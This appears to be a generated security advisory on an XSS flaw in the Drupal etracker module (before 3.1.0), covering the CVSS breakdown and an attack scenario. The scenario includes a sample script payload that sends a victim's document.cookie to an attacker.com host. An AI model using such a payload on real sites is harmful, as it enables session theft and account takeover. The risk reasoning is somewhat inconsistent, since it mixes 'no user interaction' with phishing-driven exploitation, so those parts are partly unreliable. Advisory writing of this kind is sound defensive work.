Etracker EUVD-2025-18290

The CVSS 7.3 score reflects high severity with network accessibility (AV:N), low attack complexity (AC:L), no privilege requirements (PR:N), and no user interaction needed (UI:N), indicating a readily exploitable vulnerability. The attack scope is unchanged (S:U) with confidentiality, integrity, and availability impacts (C:L/I:L/A:L). Real-world risk is significant: (1) the module is available to unauthenticated users, (2) exploitation requires only network access with no special conditions, (3) Drupal sites are high-value targets, and (4) XSS vulnerabilities are historically among the most actively exploited web vulnerabilities. Without KEV/CISA confirmation or public POC confirmation from available data, assume this is likely in early disclosure phase with elevated risk trajectory. The combination of low attack complexity, no user interaction requirement, and broad affected user base (any Drupal site with etracker <3.1.0) makes this a critical priority for patching.

An attacker discovers the etracker module is enabled on a target Drupal site and crafts a malicious URL or form submission containing JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) targeted at an etracker input field (such as a tracking configuration parameter or user-submitted content field processed by the module). Because no user interaction is required (UI:N) and the attack is network-accessible (AV:N), the attacker can: (1) deliver the payload via a phishing email with a link to the vulnerable page, (2) exploit it directly if the vulnerable input is in a public-facing form, or (3) inject it into stored data that other users access. When a victim visits the page, the JavaScript executes in their browser context, allowing the attacker to steal their Drupal session cookie, impersonate them, escalate privileges, or perform administrative actions. For Drupal sites hosting sensitive data (e-commerce, user PII, healthcare), this poses a critical business risk.